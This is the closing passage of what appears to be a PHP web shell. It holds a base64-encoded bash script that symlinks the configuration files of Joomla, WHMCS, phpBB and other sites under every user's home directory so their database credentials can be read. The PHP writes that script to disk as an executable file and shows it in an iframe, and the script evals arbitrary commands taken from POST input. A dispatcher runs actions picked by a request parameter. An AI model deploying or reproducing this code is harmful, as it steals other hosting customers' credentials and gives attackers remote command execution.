WU3LyRpL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwIHNoLWNvbmZpZy8wLSRpLUpvb21sYTEudHh0IjsKCQlldmFsICJsbiAtcyAvaG9tZTcvJGkvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCBzaC1jb25maWcvMC0kaS1Kb29tbGEyLnR4dCI7CgkJZXZhbCAibG4gLXMgL2hvbWU3LyRpL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCBzaC1jb25maWcvMC0kaS1Kb29tbGEzLnR4dCI7CgkJZXZhbCAibG4gLXMgL2hvbWU3LyRpL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAgc2gtY29uZmlnLzAtJGktSm9vbWxhNC50eHQiOwoJCWV2YWwgImxuIC1zIC9ob21lNy8kaS9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwIHNoLWNvbmZpZy8wLSRpLUpvb21sYTUudHh0IjsKCQlldmFsICJsbiAtcyAvaG9tZTcvJGkvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCBzaC1jb25maWcvMC0kaS1Kb29tbGE2LnR4dCI7CgkJZXZhbCAibG4gLXMgL2hvbWU3LyRpL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCBzaC1jb25maWcvMC0kaS1XaG0xLnR4dCI7CgkJZXZhbCAibG4gLXMgL2hvbWU3LyRpL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAgc2gtY29uZmlnLzAtJGktV2htMi50eHQiOwoJCWV2YWwgImxuIC1zIC9ob21lNy8kaS9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIHNoLWNvbmZpZy8wLSRpLVdobTMudHh0IjsKCQlldmFsICJsbiAtcyAvaG9tZTcvJGkvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwIHNoLWNvbmZpZy8wLSRpLVdobTQudHh0IjsKCQlldmFsICJsbiAtcyAvaG9tZTcvJGkvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAgc2gtY29uZmlnLzAtJGktV2htNS50eHQiOwoJCWV2YWwgImxuIC1zIC9ob21lNy8kaS9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwIHNoLWNvbmZpZy8wLSRpLVdobTYudHh0IjsKCQlldmFsICJsbiAtcyAvaG9tZTcvJGkvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCBzaC1jb25maWcvMC0kaS1XaG03LnR4dCI7CgkJZXZhbCAibG4gLXMgL2hvbWU3LyRpL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwIHNoLWNvbmZpZy8wLSRpLVdobTgudHh0IjsKCQlldmFsICJsbiAtcyAvaG9tZTcvJGkvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAgc2gtY29uZmlnLzAtJGktV2htOS50eHQiOwoJCWV2YWwgImxuIC1zIC9ob21lNy8kaS9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCBzaC1jb25maWcvMC0kaS1PdGhlcjEudHh0IjsKCQlldmFsICJsbiAtcyAvaG9tZTcvJGkvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCBzaC1jb25maWcvMC0kaS1PdGhlcjIudHh0IjsKCQlldmFsICJsbiAtcyAvaG9tZTcvJGkvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwIHNoLWNvbmZpZy8wLSRpLWludmlzaW8udHh0IjsKCQlldmFsICJsbiAtcyAvaG9tZTcvJGkvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAgc2gtY29uZmlnLzAtJGktT3RoZXIzLnR4dCI7CgkJZXZhbCAibG4gLXMgL2hvbWU3LyRpL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwIHNoLWNvbmZpZy8wLSRpLU90aGVyNC50eHQiOwoJCWV2YWwgImxuIC1zIC9ob21lNy8kaS9wdWJsaWNfaHRtbC9ta19jb25mLnBocCBzaC1jb25maWcvMC0kaS1tay1wb3J0YWxlMS50eHQiOwoJCWV2YWwgImxuIC1zIC9ob21lNy8kaS9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAgc2gtY29uZmlnLzAtJGktT3RoZXI1LnR4dCI7CgkJZXZhbCAibG4gLXMgL2hvbWU3LyRpL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCBzaC1jb25maWcvMC0kaS1TbWYudHh0IjsKCQlldmFsICJsbiAtcyAvaG9tZTcvJGkvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCBzaC1jb25maWcvMC0kaS1waHBiYjMudHh0IjsKCQlldmFsICJsbiAtcyAvaG9tZTcvJGkvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAgc2gtY29uZmlnLzAtJGktaW5maW5pdHkudHh0IjsKCmRvbmUKZWNobyAnUEM5NGJYQStQR1JwZGlCaGJHbG5iajBuWTJWdWRHVnlKejQ4WW5JK0lFTnZibVpwWjNNZ1BHRWdkR0Z5WjJWMFBTZGZZbXhoYm1zbklHaHlaV1k5SjNOb0xXTnZibVpwWnljK1EyeHBZMnNnYUdWeVpUd3ZZVDRnUEM5a2FYWSsnIHwgYmFzZTY0IC1kCmZpCmlmIFsgLW4gIiRjYyIgIF0gOyB0aGVuCmVjaG8gIjx0YWJsZSBib3JkZXI9JzAnIHdpZHRoPScxMDAlJz48dHI+PHRkIGFsaWduPSdjZW50ZXInPjxkaXYgY2xhc3M9J2JveCcgYWxpZ249J2xlZnQnPjx4bXA+IgpjZCAkZCAKZXZhbCAkY2MKZWNobyAkPwplY2hvICc8L3htcD48L2Rpdj48L3ByZT48L3RkPjwvdHI+PC90YWJsZT48YnI+PGJyPicKZmkKIAoKCgoK';
3190
3191$fileaaaaaaaa = fopen("sh.sh" ,"w+");
3192$write = fwrite ($fileaaaaaaaa ,base64_decode($sh5e));
3193fclose($fileaaaaaaaa);
3194chmod("sh.sh",0755);
3195echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Sh Symlink</span><center><br><iframe src=sh/sh.sh width=75% height=60% frameborder=0></iframe><br>";
3196printFooter();
3197}
3198
3199if( empty($_POST['a']) )
3200 if(isset($default_action) && function_exists('action' . $default_action))
3201 $_POST['a'] = $default_action;
3202 else
3203 $_POST['a'] = 'SecInfo';
3204if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
3205 call_user_func('action' . $_POST['a'])
3206?>